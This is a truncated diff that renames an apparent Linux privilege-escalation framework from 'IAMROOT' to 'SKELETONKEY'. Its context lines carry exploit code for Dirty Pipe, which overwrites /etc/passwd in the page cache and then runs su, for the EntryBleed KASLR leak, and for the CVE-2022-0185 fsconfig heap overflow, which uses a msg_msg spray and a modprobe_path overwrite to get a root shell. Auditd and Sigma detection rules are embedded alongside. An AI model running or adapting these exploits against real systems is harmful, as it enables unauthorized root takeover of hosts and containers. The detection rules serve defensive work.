} }
/* /etc/passwd now reports our user as uid 0 (in the page cache). /* /etc/passwd now reports our user as uid 0 (in the page cache).
@@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
/* If execlp returns, su didn't actually pop root — revert and report. */ /* If execlp returns, su didn't actually pop root — revert and report. */
perror("execlp(su)"); perror("execlp(su)");
revert_passwd_page_cache(); revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; (void)ctx;
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n"); fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
} }
revert_passwd_page_cache(); revert_passwd_page_cache();
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* Embedded detection rules — keep the binary self-contained so /* Embedded detection rules — keep the binary self-contained so
* `iamroot --detect-rules --format=auditd` works without a separate * `skeletonkey --detect-rules --format=auditd` works without a separate
* data-dir install. */ * data-dir install. */
static const char dirty_pipe_auditd[] = static const char dirty_pipe_auditd[] =
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n" "# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n" "# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n" "-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n" "-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n" "-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n" "-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n" "-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n"; "-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
static const char dirty_pipe_sigma[] = static const char dirty_pipe_sigma[] =
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n" "title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
"id: f6b13c08-iamroot-dirty-pipe\n" "id: f6b13c08-skeletonkey-dirty-pipe\n"
"status: experimental\n" "status: experimental\n"
"logsource: {product: linux, service: auditd}\n" "logsource: {product: linux, service: auditd}\n"
"detection:\n" "detection:\n"
@@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] =
"level: high\n" "level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n"; "tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
const struct iamroot_module dirty_pipe_module = { const struct skeletonkey_module dirty_pipe_module = {
.name = "dirty_pipe", .name = "dirty_pipe",
.cve = "CVE-2022-0847", .cve = "CVE-2022-0847",
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write", .summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
@@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_dirty_pipe(void) void skeletonkey_register_dirty_pipe(void)
{ {
iamroot_register(&dirty_pipe_module); skeletonkey_register(&dirty_pipe_module);
} }
@@ -0,0 +1,12 @@
/*
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_pipe_module;
#endif
+1 -1
View File
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
- Lift the proven EntryBleed code from - Lift the proven EntryBleed code from
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into `SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
`module.c` here `module.c` here
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a - Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
library helper (`uint64_t entrybleed_leak_kbase(void)`) library helper (`uint64_t entrybleed_leak_kbase(void)`)
- Detection rules: timing-attack pattern flags, perf-counter - Detection rules: timing-attack pattern flags, perf-counter
anomaly detection (informational — these are hard to make precise anomaly detection (informational — these are hard to make precise
+2 -2
View File
@@ -14,10 +14,10 @@ Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
Mainline status: no canonical patch — partial mitigations only. Mainline status: no canonical patch — partial mitigations only.
## IAMROOT role ## SKELETONKEY role
This is a **stage-1 leak primitive**, not a standalone LPE. Other This is a **stage-1 leak primitive**, not a standalone LPE. Other
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
slide and feed it to the offset resolver in `core/offsets.c`. x86_64 slide and feed it to the offset resolver in `core/offsets.c`. x86_64
only; the `entry_SYSCALL_64` slot offset is configurable via the only; the `entry_SYSCALL_64` slot offset is configurable via the
`IAMROOT_ENTRYBLEED_OFFSET` env var. `SKELETONKEY_ENTRYBLEED_OFFSET` env var.
@@ -1,5 +1,5 @@
/* /*
* entrybleed_cve_2023_0458 IAMROOT module * entrybleed_cve_2023_0458 SKELETONKEY module
* *
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta * EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
* timing side-channel that leaks the kernel base address. * timing side-channel that leaks the kernel base address.
@@ -13,10 +13,10 @@
* anti-EntryBleed mitigation = VULNERABLE. * anti-EntryBleed mitigation = VULNERABLE.
* - This module is also a LIBRARY: other modules that need a kbase * - This module is also a LIBRARY: other modules that need a kbase
* leak as part of a chain can call `entrybleed_leak_kbase_lib()` * leak as part of a chain can call `entrybleed_leak_kbase_lib()`
* directly (declared in iamroot_modules.h). * directly (declared in skeletonkey_modules.h).
* *
* x86_64 only. On ARM64 / other arches, detect() returns * x86_64 only. On ARM64 / other arches, detect() returns
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL. * SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
* *
* For users who'd never go to USENIX (TLDR): * For users who'd never go to USENIX (TLDR):
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves * - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
@@ -30,7 +30,7 @@
* - Subtract its known offset from kbase KASLR slide * - Subtract its known offset from kbase KASLR slide
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include <stdio.h> #include <stdio.h>
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
return 0; return 0;
} }
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{ {
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown /* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
* is the most direct signal: "Mitigation: PTI" means KPTI is on * is the most direct signal: "Mitigation: PTI" means KPTI is on
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — " fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
"assuming KPTI on (conservative)\n"); "assuming KPTI on (conservative)\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf); fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; " fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
"EntryBleed N/A\n"); "EntryBleed N/A\n");
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely /* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — " fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
"leak yields plausible kbase 0x%lx\n", kbase); "leak yields plausible kbase 0x%lx\n", kbase);
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase " fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
} }
/* Implausible probe result. Either the entry_SYSCALL_64 slot /* Implausible probe result. Either the entry_SYSCALL_64 slot
* offset doesn't match lts-6.12.x default (different kernel * offset doesn't match lts-6.12.x default (different kernel
* build) user should set IAMROOT_ENTRYBLEED_OFFSET or * build) user should set SKELETONKEY_ENTRYBLEED_OFFSET or
* timing is too noisy. Don't claim CONFIRMED. */ * timing is too noisy. Don't claim CONFIRMED. */
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; " fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
"no /etc/passwd writes)\n"); "no /etc/passwd writes)\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{ {
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET"); const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
unsigned long off = 0; unsigned long off = 0;
if (off_env) { if (off_env) {
off = strtoul(off_env, NULL, 0); off = strtoul(off_env, NULL, 0);
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off); fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
} }
} else if (!ctx->json) { } else if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset " fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n", "0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
DEFAULT_ENTRY_OFF); DEFAULT_ENTRY_OFF);
} }
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
unsigned long kbase = entrybleed_leak_kbase_lib(off); unsigned long kbase = entrybleed_leak_kbase_lib(off);
if (kbase == 0) { if (kbase == 0) {
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n"); fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (ctx->json) { if (ctx->json) {
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n", fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
kbase - 0xffffffff81000000UL); kbase - 0xffffffff81000000UL);
} }
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
#else /* not x86_64 */ #else /* not x86_64 */
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
return 0; return 0;
} }
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; (void)ctx;
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a " fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
"different architecture\n"); "different architecture\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; (void)ctx;
fprintf(stderr, "[-] entrybleed: x86_64 only\n"); fprintf(stderr, "[-] entrybleed: x86_64 only\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
#endif #endif
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
* Ship a Sigma note describing this; auditd rule intentionally omitted. */ * Ship a Sigma note describing this; auditd rule intentionally omitted. */
static const char entrybleed_sigma[] = static const char entrybleed_sigma[] =
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n" "title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
"id: 7b3a48d1-iamroot-entrybleed\n" "id: 7b3a48d1-skeletonkey-entrybleed\n"
"status: experimental\n" "status: experimental\n"
"description: |\n" "description: |\n"
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n" " EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
"level: informational\n" "level: informational\n"
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n"; "tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
const struct iamroot_module entrybleed_module = { const struct skeletonkey_module entrybleed_module = {
.name = "entrybleed", .name = "entrybleed",
.cve = "CVE-2023-0458", .cve = "CVE-2023-0458",
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)", .summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_entrybleed(void) void skeletonkey_register_entrybleed(void)
{ {
iamroot_register(&entrybleed_module); skeletonkey_register(&entrybleed_module);
} }
@@ -1,13 +1,13 @@
/* /*
* entrybleed_cve_2023_0458 IAMROOT module registry hook * entrybleed_cve_2023_0458 SKELETONKEY module registry hook
*/ */
#ifndef ENTRYBLEED_IAMROOT_MODULES_H #ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
#define ENTRYBLEED_IAMROOT_MODULES_H #define ENTRYBLEED_SKELETONKEY_MODULES_H
#include "../../core/module.h" #include "../../core/module.h"
extern const struct iamroot_module entrybleed_module; extern const struct skeletonkey_module entrybleed_module;
/* Library entry point for other modules that need a kbase leak. /* Library entry point for other modules that need a kbase leak.
* Returns the leaked kernel _text base on success, or 0 on failure * Returns the leaked kernel _text base on success, or 0 on failure
+1 -1
View File
@@ -18,7 +18,7 @@ Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
Upstream fix: mainline 5.16.2 (Jan 2022). Upstream fix: mainline 5.16.2 (Jan 2022).
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
## IAMROOT role ## SKELETONKEY role
userns+mountns reach, `fsopen("cgroup2")` + double userns+mountns reach, `fsopen("cgroup2")` + double
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB, `fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
@@ -1,12 +0,0 @@
/*
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
*/
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
#define FUSE_LEGACY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module fuse_legacy_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* fuse_legacy_cve_2022_0185 IAMROOT module * fuse_legacy_cve_2022_0185 SKELETONKEY module
* *
* legacy_parse_param() in fs/fs_context.c had a heap overflow when * legacy_parse_param() in fs/fs_context.c had a heap overflow when
* parsing the "fsconfig" filesystem option strings specifically, * parsing the "fsconfig" filesystem option strings specifically,
@@ -38,7 +38,7 @@
* *
* On a *patched* host (which is every host we can routinely build * On a *patched* host (which is every host we can routinely build
* on in 2026) detect() refuses and exploit() returns * on in 2026) detect() refuses and exploit() returns
* IAMROOT_PRECOND_FAIL with no syscalls. * SKELETONKEY_PRECOND_FAIL with no syscalls.
* *
* Affected: kernel 5.1+ until fix: * Affected: kernel 5.1+ until fix:
* Mainline fix: 722d94847de29 (Jan 18 2022) lands in 5.16.2 * Mainline fix: 722d94847de29 (Jan 18 2022) lands in 5.16.2
@@ -57,7 +57,7 @@
* is enabled. * is enabled.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
#include "../../core/offsets.h" #include "../../core/offsets.h"
@@ -169,12 +169,12 @@ static int can_unshare_userns_mount(void)
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* detect */ /* detect */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n"); fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1 /* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
@@ -184,7 +184,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n", fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
v.release); v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v); bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
@@ -192,7 +192,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release); fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns_mount(); int userns_ok = can_unshare_userns_mount();
@@ -208,7 +208,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: user_ns denied → " fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
"unprivileged exploit unreachable\n"); "unprivileged exploit unreachable\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND " fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
@@ -216,7 +216,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless " fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
"docker/podman/snap setups\n"); "docker/podman/snap setups\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
@@ -363,7 +363,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
* On a vulnerable host with matching offsets this path can land the * On a vulnerable host with matching offsets this path can land the
* write; on an unverified host the sanity gate refuses rather than * write; on an unverified host the sanity gate refuses rather than
* blind-writing a wild pointer. The finisher's downstream * blind-writing a wild pointer. The finisher's downstream
* "/tmp/iamroot-pwn ran?" check is the second gate. * "/tmp/skeletonkey-pwn ran?" check is the second gate.
*/ */
struct fuse_arb_ctx { struct fuse_arb_ctx {
/* Pre-allocated queue ids from the spray phase. */ /* Pre-allocated queue ids from the spray phase. */
@@ -371,7 +371,7 @@ struct fuse_arb_ctx {
int n_queues; int n_queues;
int hole_q; int hole_q;
/* Tagged-payload reference so we can recognise unmodified neighbours. */ /* Tagged-payload reference so we can recognise unmodified neighbours. */
const char *tag; /* "IAMROOT" */ const char *tag; /* "SKELETONKEY" */
/* Whether the first-round trigger already fired (the parent's /* Whether the first-round trigger already fired (the parent's
* default-path overflow). When set we re-spray + re-fire; when * default-path overflow). When set we re-spray + re-fire; when
* unset we assume the spray is hot. */ * unset we assume the spray is hot. */
@@ -517,11 +517,11 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
/* exploit */ /* exploit */
/* ------------------------------------------------------------------ */ /* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
{ {
/* (R1) Re-call detect — refuse if not vulnerable. */ /* (R1) Re-call detect — refuse if not vulnerable. */
iamroot_result_t pre = fuse_legacy_detect(ctx); skeletonkey_result_t pre = fuse_legacy_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
@@ -531,7 +531,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n"); fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -541,7 +541,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns /* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
* which is what fsopen("cgroup2") + fsconfig require. */ * which is what fsopen("cgroup2") + fsconfig require. */
if (!enter_userns_root()) { if (!enter_userns_root()) {
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* --- (R5) cross-cache groom — phase 1: alloc spray -------------- /* --- (R5) cross-cache groom — phase 1: alloc spray --------------
@@ -552,13 +552,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* to land write-past-end into the next adjacent msg_msg. * to land write-past-end into the next adjacent msg_msg.
* *
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the * Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
* shape but with knobs scaled for an iamroot one-shot. * shape but with knobs scaled for an skeletonkey one-shot.
*/ */
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 }; enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
int *qids = calloc(N_QUEUES, sizeof(int)); int *qids = calloc(N_QUEUES, sizeof(int));
if (!qids) { if (!qids) {
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n"); fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
for (int i = 0; i < N_QUEUES; i++) { for (int i = 0; i < N_QUEUES; i++) {
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
@@ -574,7 +574,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (spray == MAP_FAILED) { if (spray == MAP_FAILED) {
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n"); fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
free(qids); free(qids);
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
spray->mtype = 0x4242; spray->mtype = 0x4242;
/* Tag the payload so we can recognise our spray slots in /* Tag the payload so we can recognise our spray slots in
@@ -614,7 +614,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
char *first_chunk = malloc(4081); char *first_chunk = malloc(4081);
if (!first_chunk) { if (!first_chunk) {
free(qids); munmap(spray, sizeof *spray); free(qids); munmap(spray, sizeof *spray);
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
memset(first_chunk, 'A', 4080); memset(first_chunk, 'A', 4080);
first_chunk[4080] = '\0'; first_chunk[4080] = '\0';
@@ -632,7 +632,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* step below. */ * step below. */
char evil_chunk[256]; char evil_chunk[256];
memset(evil_chunk, 'B', sizeof evil_chunk); memset(evil_chunk, 'B', sizeof evil_chunk);
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */ memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */ /* Tail must be NUL-terminated for legacy_parse_param's strdup. */
evil_chunk[sizeof evil_chunk - 1] = '\0'; evil_chunk[sizeof evil_chunk - 1] = '\0';
@@ -653,7 +653,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n", fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
errno, strerror(errno)); errno, strerror(errno));
free(qids); munmap(spray, sizeof *spray); free(qids); munmap(spray, sizeof *spray);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -725,7 +725,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* (see fuse_arb_write). On a host where offsets + groom land, * (see fuse_arb_write). On a host where offsets + groom land,
* the finisher's modprobe_path overwrite execve(unknown) * the finisher's modprobe_path overwrite execve(unknown)
* call_modprobe chain pops a root shell. On a mismatched host * call_modprobe chain pops a root shell. On a mismatched host
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no * the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
* fabricated success. * fabricated success.
* *
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher * Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
@@ -739,19 +739,19 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"kernel offsets...\n"); "kernel offsets...\n");
} }
struct iamroot_kernel_offsets off; struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off); memset(&off, 0, sizeof off);
int resolved = iamroot_offsets_resolve(&off); int resolved = skeletonkey_offsets_resolve(&off);
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d " fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
"(modprobe_path=0x%lx source=%s)\n", "(modprobe_path=0x%lx source=%s)\n",
resolved, (unsigned long)off.modprobe_path, resolved, (unsigned long)off.modprobe_path,
iamroot_offset_source_name(off.source_modprobe)); skeletonkey_offset_source_name(off.source_modprobe));
iamroot_offsets_print(&off); skeletonkey_offsets_print(&off);
} }
if (!iamroot_offsets_have_modprobe_path(&off)) { if (!skeletonkey_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("fuse_legacy"); skeletonkey_finisher_print_offset_help("fuse_legacy");
/* Cleanup before returning. */ /* Cleanup before returning. */
for (int q = 0; q < N_QUEUES; q++) { for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL); if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
@@ -759,18 +759,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
free(qids); free(qids);
munmap(spray, sizeof *spray); munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd); if (fsfd >= 0) close(fsfd);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
struct fuse_arb_ctx ax = { struct fuse_arb_ctx ax = {
.qids = qids, .qids = qids,
.n_queues = N_QUEUES, .n_queues = N_QUEUES,
.hole_q = hole_q, .hole_q = hole_q,
.tag = "IAMROOT", .tag = "SKELETONKEY",
